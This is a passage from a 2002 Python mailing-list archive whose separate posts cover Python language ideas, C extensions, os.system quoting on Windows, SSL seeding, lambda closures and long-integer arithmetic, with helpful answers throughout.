won't close since there's always input on it...] I tried this with Python 2.1 on Mandrake Linux 8.0 and Solaris 7, and the result is the same. Is it a feature or a bug? If it's a feature, what is the reason behind it? Or maybe it is the standard behaviour of popen? TIA -- - Eric Brunel <eric.brunel at pragmadev.com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From jb at cascade-sys.com Fri May 17 07:56:14 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 04:56:14 -0700 Subject: OT: Crazy Programming References: <mailman.1021483146.13317.python-list@python.org> <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <mailman.1021510410.32402.python-list@python.org> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: <3CE4EFDE.D3435E49@cascade-sys.com> Greg Ewing wrote: > Laura Creighton wrote: > > > > The ability to rank something and whether it is objective or not are > > independent concepts. > > But for the ranking to be objective, it has to be > independent of the person doing the ranking. I think the argument is that there EXISTS an objective interpretation independently of whether we humans can perceive it. Plato argued this, furthermore suggesting that humans perception in the matter is rather inaccurate. He used the analogy that reality was like actors on a stage and we humans were chained in a position where we were only able to observe the shadows these actors made on the wall. The fact that our perception may be faulty and may admit some degree of subjectivity and other misperceptions does not contradict the notion that an objective reality truly exists. Even so-called objective scientific experiments often yield results that include some percentage of error or otherwise are ambiguous. Perhaps a clearer illustration: physical objects can be measured by humans to varying degrees of accuracy depending on what instruments we use. Without the instruments we can still estimate physical dimensions and we can make fairly objective decisions about relative size. We can be misled by optical illusions or other misdirection. Nevertheless, the objects themelves still possess those physical characteristics, whether we measure them or not. > Which says to me that the ranking process is *not* > completely objective. Not because the process involves > people using their senses, but because the result > depends on who is doing it. Laura's choice of a particularly subjective example actually underscores the point. Although there is a lot of inescapable subjectivity regarding ranking wines, a general consensus nevertheless emerged regarding a great number of "measurements". Of course, there are some matters that are purely subjective. I think the difference is when humans begin to pass judgement on things, rather than merely measure them. E.g,, I can imagine two similar wines of equal overall quality. Some people will prefer one and others may prefer another. Make it easy and say the wines were a red and a white and some people's preferences will be even more pronounced. That's not to say one wine is better than the other, it's mere subjective Judgement -- a matter of taste. But there are objective qualities that separate the wines (e.g., acid, sugar and tannin levels) that form an objective basis for the subjective judgement. Measurement is (can be) objective but judgement by it's nature is subjective. Measurement implies an objective framework of reference while judgement generally implies extrapolation beyond commonly agreed upon criteria. Of course, the debate of whether or not an objective reality actually exists independently of human subjective perception and judgement has been argued at length by smarter philosophers than me, long before I was born. E.g., Physicsts get rather dogmatic about equating unmeasureable with unknowable, leading to some curious paradoxes. A lot of geeks tend to go overboard on the 'objective reality' side of things. They presume that everything is knowable if only we can gather enough data. Often they mistakenly include things that are purely subjective, purely a matter of personal judgement rather than objective reality. Many flames and religious wars otherwise would be averted. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From jepler at unpythonic.net Sun May 26 10:17:47 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Sun, 26 May 2002 09:17:47 -0500 Subject: 'for every' and 'for any' In-Reply-To: <20020526135944.A32690@hishome.net> References: <20020526135944.A32690@hishome.net> Message-ID: <20020526091742.A987@unpythonic.net> On Sun, May 26, 2002 at 01:59:44PM +0300, Oren Tirosh wrote: > Here's an idea for a possible language enhancement. I'd like to hear your > comments about it. It's inspired by list comprehensions and I think the > examples are pretty self-explanatory: > > if not isinstance(x, str) for any x in args: > raise TypeError, "arguments must be of type str" this is equivalent to bool([None for x in args if not isinstance(x, str)]) > > valid = i>0 for every i in vector This is equivalent to not [None for i in vector if not i > 0] (i>0 for every i in vector <==> not (not i > 0 for any i in vector)) .. a little more cumbersome. You could also write [i for i in vector if i > 0] == vector or len([i for i in vector if i > 0]) == len(vector) depending how much like a sequence (i.e., not an iterator) vector is. > if dict2.has_key(k) for any k in dict1: > ... bool([None for k in dict1 if k in dict2]) > The words 'any' and 'every' can be non-reserved keywords (like the word 'as' > in "import foo as bar"). They are valid only after the keyword 'for' when > it's used in a non-statement context. The other issues to work out would include the precedence of operators. Is it not (isinstance(x,str) for any x in args) or (not isinstance(x,str)) for any x in args ? I'm not 100% sure that you can even implement this in the Python parser. After all, if just having 'for..in' later on in the expression could give you a generator, then we wouldn't need the silly brackets .. l = x for x in range(1000) if isprime(x) Jeff From owensmk at earthlink.net Sun May 19 19:45:04 2002 From: owensmk at earthlink.net (Michael Owens) Date: Sun, 19 May 2002 18:45:04 -0500 Subject: Help needed with C++ extension Message-ID: <200205191845.04815.owensmk@earthlink.net> I have hit a brick wall. I am a little unsure of how vtables do or don't work with respect to extensions. I have a Python extension class -- Session -- which has a member which is a pointer to a regular C++ class -- session -- which is derived from an abstract base class. When I instantiate Session, I then create a new session on the heap and assign Session's pointer to the returned point from new session(). The problem I have is whenever I make a call to one of session's virtual functions from within the module, I get a core dump. I know there is nothing wrong with the code itself, but rather the context in which it is running or compiled. It seems like the vtable it corrupted because if I make a call to a non-virtual function, there is no problem. Why does the virtual function call fail from within the module, and can I do anything to fix it? From usenet at horvath.com Wed May 15 22:27:00 2002 From: usenet at horvath.com (Bob Horvath) Date: Wed, 15 May 2002 21:27:00 -0500 Subject: beginner question: extending python types References: <MPG.174a4c2368d83470989680@news.rz.uni-karlsruhe.de> <abu0ea$l3qin$1@ID-114079.news.dfncis.de> Message-ID: <3CE318F4.5030506@horvath.com> Jeremy Yallop wrote: > * Uwe Mayer > | I found Python lacking the type of a "set". i.e. an unordered list. > > Use a dictionary, with the same value (1) for every key. > Is there any significance to the value 1? From kwokng at earthlink.net Fri May 10 15:59:05 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 10 May 2002 19:59:05 GMT Subject: Error Log References: <GGQC8.569$Nt3.62535@newsread2.prod.itd.earthlink.net> <117880a1.0205101048.2fd9e396@posting.google.com> Message-ID: <dEVC8.657$xI6.13@newsread1.prod.itd.earthlink.net> Yes, please! any example will be a big help. Thanks! Billy Ng "J?rgen Hansen" <jorgenhansen at hotmail.com> wrote in message news:117880a1.0205101048.2fd9e396 at posting.google.com... > "Billy Ng" <kwokng at earthlink.net> wrote in message news:<GGQC8.569$Nt3.62535 at newsread2.prod.itd.earthlink.net>... > > I need to write a error log module that append the error line into a log > > file every time an exception is thrown. Would anybody please give me input > > for how to do it in pytohn, thanks! > > > > Billy Ng > > Vinay Sajip has made a logging module: > http://www.red-dove.com/python_logging.html which you could look into. > I have made a very basic version of it, which I could email with some > examples if you want to. > > Regards > Jorgen > From sholden at holdenweb.com Fri May 10 14:06:58 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 14:06:58 -0400 Subject: accessing serial/parallel port from Python References: <abh249$kh4$1@knossos.btinternet.com> Message-ID: <x2UC8.62083$m26.40505@atlpnn01.usenetserver.com> "Nick Evans" (the idle sod) wrote (because he thought someone else would know)... > Hello group, > > Could anyone tell me if it is possable to access the > Physical ports of a computer from python. I have a few electronic projects > that i originally wrote programes in QBasic to access them, but i would like > to start using python. > Google is your friend: http://www.google.com/search?hl=en&q=python+serial+parallel+port regards Steve pp. group :-) -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From chris.gonnerman at newcenturycomputers.net Sat May 4 11:09:32 2002 From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman) Date: Sat, 4 May 2002 10:09:32 -0500 Subject: Slight irritation with try/finally indentation References: <mailman.1019657853.14965.python-list@python.org><n8Ax8.3546$z55.2175@atlpnn01.usenetserver.com> <oqn0vgx8pq.fsf@carouge.sram.qc.ca> Message-ID: <004201c1f37d$cb4bf960$0101010a@local> ----- Original Message ----- From: "Fran?ois Pinard" <pinard at iro.umontreal.ca> > > The inherent legibility of the Python language is > surely a productivity device for most people, but it > also has its own artistic virtues. For many of us, it > is worth spending some time so our programs are more > beautiful, for the pure sake of art. Moreover, and > interestingly, a common side-effect of such an effort > is that programs get more maintainable! > Can't fault your logic there. I always thought that something like: begin: # initial code try: # code where exceptions may lurk finally: # clean-up would be nice, but you surely know by now that I am "bearish" in regards to changing the core language. The "begin:" construct wouldn't even have to be linked to "try...finally" semantically, since it would be, in effect: if(1): # initial code but adding new keywords is explicitly -1 score (or even greater magnitude perhaps), so benefits would have to be at least +2 score. No way I can imagine that this would be worth it. Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net http://newcenturycomputers.net From kragen at pobox.com Tue May 14 02:26:02 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 02:26:02 -0400 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <Xns9208A72BD3C2Dduncanrcpcouk@127.0.0.1> <3CD955A1.43AE9120@jpl.nasa.gov> <abc4j4$3kh$1@newsreader.mailgate.org> Message-ID: <83r8kfgs91.fsf@panacea.canonical.org> "Mark Hadfield" <m.hadfield at niwa.co.nz> writes: > One other comment: instead of string.atoi(value) you can use > int(value). It makes little difference in this case because the > elements of sys.argv are guaranteed to be strings, but in another > situation you want to allow the possibility that the value is > already an integer, or some other non-string type that can be > converted to an integer. >From 2.1 string.py (with irrelevant code removed): # for a bit of speed _int = int def atoi(s , base=10): return _int(s, base) From mgilfix at eecs.tufts.edu Wed May 1 13:09:50 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Wed, 1 May 2002 13:09:50 -0400 Subject: newbie writing an extention... In-Reply-To: <notdanielt3-EEF135.12323601052002@news.bellatlantic.net>; from notdanielt3@gte.net on Wed, May 01, 2002 at 04:32:34PM +0000 References: <notdanielt3-EEF135.12323601052002@news.bellatlantic.net> Message-ID: <20020501130949.A16807@eecs.tufts.edu> There are many ways to approach this problem. One is to use SWIG (search google). Or, you can create your own custom bindings (if the project is small, or the code hasn't been written yet, this might be the way to go). Check out the documentation at: http://www.python.org/dev/doc/devel/api/api.html. You'll probably want to create a new python type that corresponds to your struct and then pass that type in to the python function as a PyObject. The documentation offers some good examples. -- Mike On Wed, May 01 @ 16:32, Daniel T. wrote: > Assume I have the following c header: > > typedef struct Type; > int makeType(Type** t); // returns 0 if successful > void destroyType(Type* t); > int getValue(Type* t); > void setValue(Type* t); > int comapreTypes(Type* t1, Type* t2); > // returns -1 if t1 is less, 1 if t2 is less, or 0 > > IE a basic module. > > How would the c file for the lib extention look? I'm esecially > interested in how to parse the arguments of the function. > > TIA > -- > http://mail.python.org/mailman/listinfo/python-list `-> (notdanielt3) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From google at abe1x.com Mon May 20 19:03:58 2002 From: google at abe1x.com (abe burmeister) Date: 20 May 2002 16:03:58 -0700 Subject: feasibility of building a video editing program in python References: <d8837597.0205181434.794b2de6@posting.google.com> <acaj9b$eoe$1@sirius.dur.ac.uk> Message-ID: <d8837597.0205201503.21345cae@posting.google.com> > > Interested to hear what decisions you reach, and good luck! Well the first thing I've realized is that I have a lot to learn about programming in lower level languages... I'm going to sit down with a good C hacking friend of mine and figure out exactly what is involved then decide on an approach. Probably keep prototyping in flash, build a program that hooks MIDI into flash, and decide if its worth developing a proper version of the whole thing. Its a bit frustrating as all ease of development roads are pointing towards high level environments like PD, Max+Nato or Director, but I'd be much happier learning more open and flexible language. Going to try and balance it all out by continuing to develop it in one of these environments and simultaneously rebuilding it in a "real" programming language. From eric.brunel at pragmadev.com Thu May 30 10:18:15 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 30 May 2002 14:18:15 +0000 Subject: How to concatenate list members References: <newscache$qjaxwg$b4i$1@www-neu.dzsh.de> Message-ID: <ad54vd$phm$1@wanadoo.fr> Ruediger Maehl wrote: > I would like to concatenate all members of a list of strings. > How can I do that? > I know, I can use a for loop over all elements and concatenate > them to one string. But is there another more efficient solution? > # =========================================== > def concat1(alist, sep=" "): > res = "" > for e in alist: > res += str(e) > res += sep > > return res[:-1] > > a = ["200100002", "200100003", "200100004"] # many many more to come ... > > b = concat1(a, "_") > > print b > > # and b then looks like this: > # "200100002_200100003_200100004" Try this: def concat1(alist, sep=" "): if not alist: return '' return reduce(lambda x,y,sep=sep: x + sep + y, alist) The "if" is necessary because as it's written, the reduce won't work on empty lists. If you like one-liners, you can also do this: b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' HTH -- - Eric Brunel <eric.brunel at pragmadev.com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From tim.one at comcast.net Wed May 1 15:17:43 2002 From: tim.one at comcast.net (Tim Peters) Date: Wed, 01 May 2002 15:17:43 -0400 Subject: Buffer growth, lazy opitimization In-Reply-To: <1020278511.22600.0.nnrp-01.d4e54907@news.demon.co.uk> Message-ID: <BIEJKCLHCIOIHAGOKOLHGEDFDBAA.tim.one@comcast.net> [Stephen D Evans] > ... > I have had a look at the 'Interpreter Changes and Fixes' in the Python > 2.3 documentation (release 0.01) > > http://www.python.org/dev/doc/devel/whatsnew/node6.html > > Growing string buffers was mentioned as being 'mildly exponential'. A > very quick look in the Python CVS at python/dist/src/Objects/fileobject.c ? showed that two different methods of buffer reallocation were being used > in this source file - fixed increment and doubling. Please be specific. This is a 2K line file and has many buffer resizing schemes, depending on context. As the docs you referenced say, the specific buffer resizing scheme it's talking about is in get_line(), which is indeed mildly exponential now (a growth factor of roughly 1.25). In real life tests, it made almost no difference compared to the previous fixed-increment scheme, except (as the docs say) when running the extreme test_bufio in a debug-mode build. Note that this routine reads a line of text from a text file, and the million-character lines test_bufio sets up are (deliberately) unrealistic. From gerhard at bigfoot.de Tue May 28 19:27:30 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 28 May 2002 23:27:30 GMT Subject: mod_python OS functions help? References: <9c2461b0.0205281421.3eb785c8@posting.google.com> Message-ID: <slrnaf84j2.1s9.gerhard@lilith.my-fqdn.de> tariss wrote in comp.lang.python: > I've just recently set up mod_python/apache on my Win2K box. I have a > very simple script which is used to execute a "make" which then builds > a VC++ project. The script works when executed via the command line > but not when initiated via web page and run as a mod_python script. > When run via mod_python there are no errors generated and all other > non-os related functions seem to work as expected, but the os related > ones such as the exec* functions seem to be ignored. > > I'm guessing there is some sort of "sandbox" security issue going on > here that may be an apache issue. Does anyone have any ideas what to > do about this? I'm only guessing, but have you started Apache as a service? AFAIK stdin/stdout doesn't work for services. Maybe try running Apache as an application and see if it makes a difference. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From spam at aturuxo.net Sat May 11 10:48:00 2002 From: spam at aturuxo.net (Afonso Fernandez Nogueira) Date: Sat, 11 May 2002 16:48:00 +0200 Subject: Python Service References: <GCEDKONBLEFPPADDJCOEGEAPDBAA.whisper@oz.net> Message-ID: <004f01c1f8fa$db7895f0$ace2533e@fonso> ----- Original Message ----- From: "David LeBlanc" <whisper at oz.net> > I think python-win has such a utility. I'm pretty sure that there's some > python thing that will support this. I think Zope might use it to run Zope > as a service. Bingo. From pythonwin docs: """ win32pipe A module that provides popen() functionality (and more!) to work from a win32 GUI process (which os.popen doesnt!). This module also exposes the win32 pipe API, allowing you to create and connect named pipes. """ cheers, fonso From huaiyu at gauss.almadan.ibm.com Tue May 7 21:10:46 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 8 May 2002 01:10:46 +0000 (UTC) Subject: degrees and radians. References: <mailman.1020560288.30503.python-list@python.org> <tvl2ba.4q7.ln@127.0.0.1> <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> <oj04ba.tnb.ln@127.0.0.1> <ab52v0$f4n7u$1@ID-99293.news.dfncis.de> <ini6ba.lbo.ln@127.0.0.1> Message-ID: <slrnadguom.6jf.huaiyu@gauss.almadan.ibm.com> Jim Richardson <warlock at eskimo.com> wrote: >Thanks. Actually, I am a little intimidated by the whole OO and class >thing. I still don't "grok" the whole OO thing. > >I don't understand what the (self,...) part of the init is. I *think* I >know what __init__ is for, to set up the things you need to use the >functions (methods?) within the class, but what's with self all over the >place? Try the "Instant Python" page. Find it on Google or follow links from python.org. Huaiyu From jepler at unpythonic.net Wed May 8 14:37:42 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 8 May 2002 13:37:42 -0500 Subject: unexpected os.system behavior on windows NT Message-ID: <20020508133737.B15890@unpythonic.net> os.system seems to malfunction when the command name and another argument are both quoted on the commandline. All these commands run "as expected" when executed directly in a command window. >>> import os >>> os.system(r'"cmd.exe" /c echo "hi bob"') The system cannot find the path specified. 1 >>> os.system(r'"cmd.exe" /c echo hi bob') hi bob 0 >>> os.system(r'cmd.exe /c echo "hi bob"') "hi bob" 0 >>> os.system(r'cmd.exe /c echo "hi bob"') "hi bob" 0 >>> os.system(r'cmd.exe /c "echo" "hi bob"') The name specified is not recognized as an internal or external command, operable program or batch file. 0 >>> os.system(r'cmd.exe /c "echo" hi bob') hi bob 0 The same holds for os.popen, popen2.popen*, and win32pipe.popen* though I haven't tried all the variations there. I've kludged around this by using the 8.3 pathname for the executable, so that I am guaranteed to not need to quote it .. Jeff From martin_byrne2 at yahoo.co.uk Thu May 30 06:47:42 2002 From: martin_byrne2 at yahoo.co.uk (B) Date: 30 May 2002 03:47:42 -0700 Subject: Python ActiveX Scripting Engine (0x80020009) Error - KeyboardInterrupt - python 2.2 References: <508cb8ae.0205290757.6659230@posting.google.com> <EgeJ8.2107$fT5.661549@typhoon.ne.ipsvc.net> <YifJ8.2290$fT5.687896@typhoon.ne.ipsvc.net> Message-ID: <508cb8ae.0205300247.4cb902c2@posting.google.com> Thanks Chris that seems to have solved the problem for the moment, although twice when i was editing the global.asa file and then testing my redirect pages, I got a ValueError exception...doesnt seem to happen now though. Am I right in thinking that your code,when entered into the global.asa file, catches all the keyboardInterrupt messages before they get to the python engine and so solve the problem ? Martin "Chris Prinos" <cprinos at foliage.com> wrote in message news:<YifJ8.2290$fT5.687896 at typhoon.ne.ipsvc.net>... > I failed to mention.... the code snippet I listed goes in the global.asa > script file > > Chris From shalehperry at attbi.com Fri May 10 16:09:40 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 13:09:40 -0700 (PDT) Subject: unknown locale de_DE@euro In-Reply-To: <wpVC8.5595$48.537956@zwoll1.home.nl> Message-ID: <XFMail.20020510130940.shalehperry@attbi.com> On 10-May-2002 vincent wehren wrote: > Hi! > > The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by > e.g. SuSe 8.0 Linux,is not (yet) regognized by the locale module of > Python2.2. A ValueError is raised when calling the module's > "getdefaultlocale()" method. How can one go about handling this? Should one > add it to the encoding aliases in locale.py? Any suggestions? > normalize() in locale.py should likely be updated to handle '@'. As should _parse_localename(). If a bug is not already out for this, there should be one. From tritran2001 at iprimus.com.au Sat May 25 16:51:05 2002 From: tritran2001 at iprimus.com.au (Occean) Date: Sat, 25 May 2002 20:51:05 GMT Subject: String problem Message-ID: <20020526.064829.1504569917.16939@iprimus.com.au> Assume that you have an text article. "Paint my love, you should paint my love It's a picture of thousand sunset It's a freedom of , a thousand doves ......" you have to read the article into a string called str and use that string to pass into the function called display(str). This function will display the exact content of the article back into the screen. The problem is when you read the article in the string you have to put "\n\" at the end of each line in order to let the system know the new line. For example: str = ' Paint my love, you should paint my love\n\ It's a picture of thousand sunset \n\ \n\ It's a freedom of , a thousand doves\n\' I Just wondering are there another to do that without insert "\n\" into the end of each line. From aleax at aleax.it Mon May 6 03:10:14 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 07:10:14 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <JShA8.40793$8D3.1193018@news1.tin.it> <ab1sf9$mt8$0@216.39.172.122> <J45B8.5411$CN3.205220@news2.tin.it> <m27kmhvp16.fsf@mycroft.actrix.gen.nz> Message-ID: <q%pB8.8256$CN3.313506@news2.tin.it> Paul Foley wrote: ... >> I originally thought this kind of situation might count as 'substantial': > >> funs = [ (lambda : x) for x in seq ] > > I'd expect that to return a list of as many functions as there are > items in seq, that all return the last value in seq. I.e., if seq is Right! No need to "expect" when one can just check: >>> funs=[lambda:x for x in range(5)] >>> [f() for f in funs] [4, 4, 4, 4, 4] >>> funs=[lambda x=x:x for x in range(5)] >>> [f() for f in funs] [0, 1, 2, 3, 4] But actually with the first form you get 5 functions that all return *whatever value name x is currently bound to*, NOT functions that return the last value in seq: >>> funs=[lambda:x for x in range(5)] >>> x=23 >>> [f() for f in funs] [23, 23, 23, 23, 23] The 'closure' alternative which I also posted and you snipped is superior to either lambda alternative because it 'snapshots' state like the second of these lambda variations but doesn't squirrel it away in the fragile spot of "a default value for an argument" (risking somebody mistakenly supplying an argument and thus overriding the default...:-). > [1, 2, 3, 4, 5], you'd get 5 functions that all return 5, not Or 23, or whatever x has last been re-bound to:-). > functions that return 1, 2, 3, 4, and 5 respectively, as I think > you're expecting (and the second version, with the "funize" function, > does work that way) Clearly I didn't do a good job of explaining what I meant -- why what "I originally thought" was not acceptable, and avoiding lambda turned out to be preferable in this case too. > [The usual binding-vs-assignment misunderstanding that I keep trying > to explain to people who say Python's assignment is really "binding"] I'm one of those people to which you "keep trying to explain" and I'm deeply unconvinced by your explanations. Assignment rebinds names ('binds' if the names weren't previously bound). In a function's default argument value, or even better in a closure-idiom, you bind in such a way as to impede successive rebinding (almost totally for a closure; barring accidental argument passing only, for a default argument), so the object to which the name refers stays the same (you can complete a 'snapshot' effect, if you're dealing with _mutable_ values which isn't the case in these examples, by explicitly taking a copy). Alex From jeremy at alum.mit.edu Thu May 2 10:40:35 2002 From: jeremy at alum.mit.edu (Jeremy Hylton) Date: 2 May 2002 07:40:35 -0700 Subject: SSL still broken on Solaris ? References: <d1e3ecad.0205011702.8e5acb4@posting.google.com> Message-ID: <b0f083db.0205020640.681ecf34@posting.google.com> bredel at gol.com (Philippe Bredel) wrote in message news:<d1e3ecad.0205011702.8e5acb4 at posting.google.com>... > Hi, > > A few months ago I was looking at SSL support in Python and decided > to go back to this project yesterday. I was rather surprised to > discover that socketmodule.c still doesn't call RAND_seed() despite > the fact that the issue had been mentionned in earlier posts. The module doesn't call or expose RAND_seed(), but it does expose RAND_add(). You can call it explicitly in your application. It's not possible for the module to call RAND_add() or RAND_seed() for you, because it doesn't have any source of randomness available. > I was initially using 1.5.2 on SunOS5.6, assumed it had been fixed > so downloaded 2.2.1, recompiled w/ SSL support (I'm using openssl > 0.9.6) and kept on getting the famous PRNG not seeded error message. I > eventually found a post from Dave Beazley with his fix but the whole > process was really painful. > There's a usable /dev/random file on my box but I just made a > "dirty" recompile using a fixed seed to make sure it was fixing the > problem. > Any plans to address this issue in the upcoming releases ? Thanks. I don't want Python to learn how to find sources of randomness and load them. I believe that future versions of OpenSSL will be better about this kind of initialization; that's the right place for it to happen. OpenSSL already does the right thing on some platforms. Until it does the right thing on your platform, the RAND_add() call should work. Note that I haven't tested this on Solaris, so I'm not sure. If you try to use RAND_add() and it still doesn't work, please submit a bug report. Jeremy From aops20 at dsl.pipex.com Mon May 27 18:40:35 2002 From: aops20 at dsl.pipex.com (Matthew Godding) Date: Mon, 27 May 2002 23:40:35 +0100 Subject: Python Gnome IMLib iconlist issue Message-ID: <pan.2002.05.27.23.40.33.548732.9144@dsl.pipex.com> Hi, Running Mandrake 8.2 I'm a python noob trying to get the below to work: ===start=== #!/usr/bin/python from gtk import * from gnome.ui import * from GDK import * from libglade import * widget_tree1 = GladeXML ("/home/matt/dev/glaunch/glaunch.glade", "glaunch") widget_tree1.signal_connect("on_exit1_activate", mainquit) iconlist = widget_tree1.get_widget("iconlist1") iconlist.append("/home/matt/dev/glaunch/cstrike.ico", "Counter-Strike") mainloop() ===end=== The program runs fine put doesn't display the icon. I've tried replacing the icon with xpm and png files to no avail. I get the following error: gdk_imlib error:cannot load image: /home/matt/dev/glaunch/cstrike.ico all fallbacks failed i'm 99% positive this isn't anything to do with the file not being found as if i change the filename to something invalid i don't get the error. Any help appreciated. Thanks Matt From whisper at oz.net Wed May 29 22:56:40 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 29 May 2002 19:56:40 -0700 Subject: 'for every' and 'for any' In-Reply-To: <83hekqml63.fsf@panacea.canonical.org> Message-ID: <GCEDKONBLEFPPADDJCOEEEHNDFAA.whisper@oz.net> Then you shrink it down to 200 lines of dense Perl and it's impossible to modify! David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Kragen Sitaker > Sent: Wednesday, May 29, 2002 19:20 > To: python-list at python.org > Subject: Re: 'for every' and 'for any' > > > quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) writes: > > Um, customizing your workstation is only going to cause > problems for other > > people if they use your account. I'm hoping they don't do > that? No one can > > use my wacky setup but they don't need to because I log out > when I'm done. > > Other people use my account when we are sitting at the machine together. > > > Of the hard-to-maintain code I've looked at, it's always been not enough > > abstraction, rather than too much. > > I've seen quite a bit of both. Code that's either not abstract enough > or too abstract can be ten times the size of the ideal code; modifying > a 20 000 line program is a lot harder than modifying a 2 000 line > program that does the same thing. > > > People who are used to C and Pascal seem to be especially used to > > reinventing common operations, probably because non-polymorphic > > static languages make it hard to write generic anything. > > When I work in C, it's usually for one of two reasons: > 1. I feel like reinventing the wheel for fun, so I do. > 2. I need (or, anyway, want) the performance, so I tend to reinvent > common operations so they're optimized for my application. > > -- > http://mail.python.org/mailman/listinfo/python-list From gumuz at looze.net Tue May 14 05:32:36 2002 From: gumuz at looze.net (Guyon Moree) Date: Tue, 14 May 2002 11:32:36 +0200 Subject: 3rd party modules References: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> <3CE0D6CA.480264A6@alcyone.com> Message-ID: <3ce0d767$0$230$4d4ebb8e@read.news.nl.uu.net> so what does this mean? ps. in case you didn't notice... i'm a newbie in python :) "Erik Max Francis" <max at alcyone.com> wrote in message news:3CE0D6CA.480264A6 at alcyone.com... > Guyon Moree wrote: > > > now i'm just wondering if i am doing this the right way and what am i > > supposed to do with this setup.py? > > It means that it's set up for distutils: > > python setup.py install > > -- > Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ > __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE > / \ Who'd ever think it / Such a squalid little ending > \__/ The American and Florence, _Chess_ > Church / http://www.alcyone.com/pyos/church/ > A lambda calculus explorer in Python. From huaiyu at gauss.almadan.ibm.com Wed May 1 21:51:06 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 2 May 2002 01:51:06 +0000 (UTC) Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: <mailman.1020221642.11325.python-list@python.org> <slrnad09uq.ca9.huaiyu@gauss.almadan.ibm.com> <mailman.1020283085.23987.python-list@python.org> Message-ID: <slrnad16sa.fgt.huaiyu@gauss.almadan.ibm.com> Jeff Epler <jepler at unpythonic.net> wrote: >On Wed, May 01, 2002 at 05:37:31PM +0000, Huaiyu Zhu wrote: >> The example above was only meant to show that what John wanted can be >> achieved without apply. But of course apply does more than that. > >What "more" does apply do? Is this not a complete implementation of >'apply' that works in any recent version of Python? I should have said that named apply can be used more conveniently in many places than the f(*a, **b) syntax. In one of my projects apply is an object getting passed around, together with objects with names like deepapply, mapapply, etc. But of course one can always define apply if an extra function call is not a problem (it is not a problem in my case). Huaiyu From ragu at stromix.com Tue May 7 17:24:43 2002 From: ragu at stromix.com (Ragu Bharadwaj) Date: Tue, 7 May 2002 14:24:43 -0700 Subject: taglibs equivalent in Python Message-ID: <9D82B3F44633494A9BFC45CC694F761AF228C2@exchange.ds.stromix.com> Oh sure. Taglibs are mainly developed at http://jakarta.apache.org/taglibs/index.html What they do is allow me to convert function calls to tags where parameters to functions can be attributes or in the content of the tags. So for example, if I used the DBTags taglib, I could run an SQL query and tabulate its results via the code in http://jakarta.apache.org/taglibs/doc/dbtags-doc/index.html#overview.usage Taglibs themselves run in a JSP server which is basically a Java runtime plugged in to Apache, which also understands taglibs and JSP specific stuff. The closest thing to a JSP server in Python appears to be Zope (I am kinda new to Python) cheers -Ragu Actually, my goal is to have a sandwich named after me. -----Original Message----- From: Sean 'Shaleh' Perry [mailto:shalehperry at attbi.com] Sent: Tue 5/7/2002 1:59 PM To: Ragu Bharadwaj Cc: python-list at python.org Subject: Re: taglibs equivalent in Python On 07-May-2002 Ragu Bharadwaj wrote: > Is there an equivalent to Java Taglibs in Python? I'm considering > Python for a web project where it'd be useful to have taglib like > functionality which could encapsulate common functions. > seeing as many of us are python programmers and not Java programmers, perhaps you could tell us what taglibs does or point us at a descriptive website? From martin at v.loewis.de Fri May 24 17:02:01 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 24 May 2002 23:02:01 +0200 Subject: How Are Unlimited Precision Integers Accomplished? References: <mailman.1022260069.18263.python-list@python.org> Message-ID: <m3g00htg3a.fsf@mira.informatik.hu-berlin.de> Michael Chermside <mcherm at destiny.com> writes: > 2**( 15 * (2**MAXINT) ) - 1 [...] > >>> big = 1L << (2**31 - 1) > >>> big <<= 15 > >>> big += 1 > >>> big <<= 45 > >>> > > As you can see, it should have overflowed (I thought) in line 3. I really cannot see why that should overflow. Performing big = 1L << (2**31 - 1) big <<= 15 is the same as performing big = 1L << (2**31 + 14) which is roughly 2**(15 * (2**27)) So this is *much* less than 2**( 15 * (2**MAXINT) ) - 1. On any 32-bit 